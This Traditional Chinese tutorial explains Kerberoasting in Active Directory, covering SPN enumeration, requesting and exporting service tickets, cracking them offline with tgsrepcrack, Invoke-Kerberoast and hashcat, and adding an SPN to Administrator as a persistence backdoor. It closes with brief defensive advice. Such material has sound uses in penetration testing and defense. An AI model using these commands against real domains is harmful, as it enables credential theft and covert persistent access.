域滲透——Kerberoasting
0x00 前言
Kerberoasting是域滲透中經常使用的一項技術,本文將參考公開的資料,結合自己的理解,詳細介紹Kerberoasting的原理和實現,以及一個後門利用的方法,最後給出防禦建議。
參考資料:
http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
http://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/
https://malicious.link/post/2016/kerberoast-pt1/
https://malicious.link/post/2016/kerberoast-pt2/
https://malicious.link/post/2016/kerberoast-pt3/
https://adsecurity.org/?p=3458
https://adsecurity.org/?page_id=183
https://blog.netspi.com/faster-domain-escalation-using-ldap/
https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx
0x01 簡介
本文將要介紹以下內容:
·Kerberoasting相關概念。
·Kerberoasting的原理。
·Kerberoasting的實現。
·Kerberoasting的後門利用。
·Kerberoasting的防禦。
0x02 基本概念
SPN
官方文檔:
https://docs.microsoft.com/en-us/windows/desktop/AD/service-principal-names
全稱Service Principal Names。
SPN是伺服器上所運行服務的唯一標識,每個使用Kerberos的服務都需要一個SPN。
SPN分為兩種,一種註冊在AD上機器帳戶(Computers)下,另一種註冊在域用戶帳戶(Users)下。
當一個服務的許可權為Local System或Network Service,則SPN註冊在機器帳戶(Computers)下。
當一個服務的許可權為一個域用戶,則SPN註冊在域用戶帳戶(Users)下。
SPN的格式
serviceclass/host:port/servicename
說明:
·serviceclass可以理解為服務的名稱,常見的有www, ldap, SMTP, DNS, HOST等。
·host有兩種形式,FQDN和NetBIOS名,例如server01.test.com和server01。
·如果服務運行在默認埠上,則埠號(port)可以省略。
查詢SPN
對域控制器發起LDAP查詢,這是正常kerberos票據行為的一部分,因此查詢SPN的操作很難被檢測。
(1) 使用SetSPN
Win7和Windows Server2008自帶的工具。
查看當前域內的所有SPN:
setspn.exe -q */*
查看test域內的所有SPN:
setspn.exe -T test -q */*
輸出結果實例:
CN=DC1,OU=Domain Controllers,DC=test,DC=com
exchangeRFR/DC1
exchangeRFR/DC1.test.com
exchangeMDB/DC1.test.com
exchangeMDB/DC1
exchangeAB/DC1
exchangeAB/DC1.test.com
SMTP/DC1
SMTP/DC1.test.com
SmtpSvc/DC1
SmtpSvc/DC1.test.com
ldap/DC1.test.com/ForestDnsZones.test.com
ldap/DC1.test.com/DomainDnsZones.test.com
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.test.com
DNS/DC1.test.com
GC/DC1.test.com/test.com
RestrictedKrbHost/DC1.test.com
RestrictedKrbHost/DC1
HOST/DC1/TEST
HOST/DC1.test.com/TEST
HOST/DC1
HOST/DC1.test.com
HOST/DC1.test.com/test.com
E3514235-4B06-11D1-AB04-00C04FC2DCD2/0f33253b-2314-40f0-b665-f4317b13e6b9/test.com
ldap/DC1/TEST
ldap/0f33253b-2314-40f0-b665-f4317b13e6b9._msdcs.test.com
ldap/DC1.test.com/TEST
ldap/DC1
ldap/DC1.test.com
ldap/DC1.test.com/test.com
CN=krbtgt,CN=Users,DC=test,DC=com
kadmin/changepw
CN=COMPUTER01,CN=Computers,DC=test,DC=com
RestrictedKrbHost/COMPUTER01
HOST/COMPUTER01
RestrictedKrbHost/COMPUTER01.test.com
HOST/COMPUTER01.test.com
CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
MSSQLSvc/DC1.test.com
以CN開頭的每一行代表一個帳戶,其下的信息是與該帳戶相關聯的SPN。
對於上面的輸出數據,機器帳戶(Computers)為:
·CN=DC1,OU=Domain Controllers,DC=test,DC=com
·CN=COMPUTER01,CN=Computers,DC=test,DC=com
域用戶帳戶(Users)為:
·CN=krbtgt,CN=Users,DC=test,DC=com
·CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
註冊在域用戶帳戶(Users)下的SPN有兩個:kadmin/changepw和MSSQLSvc/DC1.test.com。
0x03 Kerberoasting的原理
1、Kerberos認證過程
一個簡單的Kerberos認證過程如下圖。
1、as_request
2、as_reply
3、tgs_request
4、tgs_reply
5、ap_request
6、ap_reply
對於4.tgs_reply,用戶將會收到由目標服務實例的NTLM hash加密生成的TGS(service ticket),加密演算法為RC4-HMAC。
站在利用的角度,當獲得這個TGS後,我們可以嘗試窮舉口令,模擬加密過程,生成TGS進行比較。如果TGS相同,代表口令正確,就能獲得目標服務實例的明文口令。
2、Windows系統通過SPN查詢獲得服務和服務實例帳戶的對應關係
這裡舉一個例子:
用戶a要訪問MySQL服務的資源,進行到4.tgs_reply時,步驟如下:
(1)Domain Controller查詢MySQL服務的SPN
如果該SPN註冊在機器帳戶(Computers)下,將會查詢所有機器帳戶(Computers)的servicePrincipalName屬性,找到對應的帳戶。
如果該SPN註冊在域用戶帳戶(Users)下,將會查詢所有域用戶(Users)的servicePrincipalName屬性,找到對應的帳戶。
(2)找到對應的帳戶後,使用該帳戶的NTLM hash,生成TGS
3、域內的主機都能查詢SPN
4、域內的任何用戶都可以向域內的任何服務請求TGS
綜上,域內的任何一台主機,都能夠通過查詢SPN,向域內的所有服務請求TGS,拿到TGS後對其進行暴力破解。
對於破解出的明文口令,只有域用戶帳戶(Users)的口令存在價值,不必考慮機器帳戶的口令(無法用於遠程連接)。
因此,高效率的利用思路如下:
1、查詢SPN,找到有價值的SPN,需要滿足以下條件:
·該SPN註冊在域用戶帳戶(Users)下
·域用戶賬戶的許可權很高
2、請求TGS
3、導出TGS
4、暴力破解
0x04 Kerberoasting的實現方法一
1、獲得有價值的SPN
需要滿足以下條件:
·該SPN註冊在域用戶帳戶(Users)下
·域用戶賬戶的許可權很高
可以選擇以下三種方法:
(1)使用powershell模塊Active Directory
註:powershell模塊Active Directory 需要提前安裝,域控制器一般會安裝。
import-module ActiveDirectory
get-aduser -filter -prop * |select name,whencreated,pwdlastset,lastlogon
(2)使用PowerView
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
(3)使用kerberoast
powershell:
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
vbs:
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
參數如下:
cscript GetUserSPNs.vbs
2、請求TGS
(1)請求指定TGS
$SPNName = "MSSQLSvc/DC1.test.com"
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
(2)請求所有TGS
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String "^CN" -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
執行後輸入klist查看內存中的票據,可找到獲得的TGS。
3、導出
使用mimikatz
kerberos::list /export
4、破解
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
./tgsrepcrack.py wordlist.txt test.kirbi
0x05 Kerberoasting的實現方法二
自動實現,並且不需要mimikatz,普通用戶許可權即可,參考資料:
http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
代碼地址:
https://github.com/EmpireProject/Empire/commit/6ee7e036607a62b0192daed46d3711afc65c3921
使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken請求TGS,在返回結果中提取出TGS,輸出的TGS可選擇John the Ripper或Hashcat進行破解。
實例演示:
在域內一台主機上以普通用戶許可權執行:
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
-AdminCount表示選擇高許可權的用戶。
輸出結果如下圖:
只提取出hash的參數如下:
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
輸出結果如下圖:
使用hashcat破解的參數如下:
hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force
破解結果如下圖,成功獲得明文口令MySQLAdmin111!
註:Rubeus也可以實現Invoke-Kerberoast的功能,地址如下:
https://github.com/GhostPack/Rubeus
參數如下:
Rubeus.exe kerberoast
0x06 Kerberoasting的後門利用
在我們取得了SPN的修改許可權後,可以為指定的域用戶添加一個SPN,這樣可以隨時獲得該域用戶的TGS,經過破解後獲得明文口令。
例如為域用戶Administrator添加SPNVNC/DC1.test.com,參數如下:
setspn.exe -U -A VNC/DC1.test.com Administrator
如下圖:
在域內任意一台主機都能獲得該SPN,並且能夠使用Kerberoast獲得TGS,如下圖:
再使用hashcat破解即可。
補充:
刪除SPN的參數如下:
setspn.exe -D VNC/DC1.test.com Administrator
0x07 防禦
站在防禦的角度,不可能阻止kerberoast,但可以對有攻擊價值的SPN(註冊在域用戶帳戶下,許可權高),增加密碼長度,能夠提高破解難度,並且定期修改關聯的域用戶口令。
管理員可在域內一台主機上使用Invoke-Kerberoast檢查是否存在危險的SPN。
下載地址:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
參數:
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
0x08 小結
本文對Kerberoasting的原理、方法和防禦作了詳細介紹,並進行了實例演示。
※HTTP安全標頭及其工作原理(下)
※以索尼PSV為例,說說如何從F00D中提取密鑰?
TAG:嘶吼RoarTalk |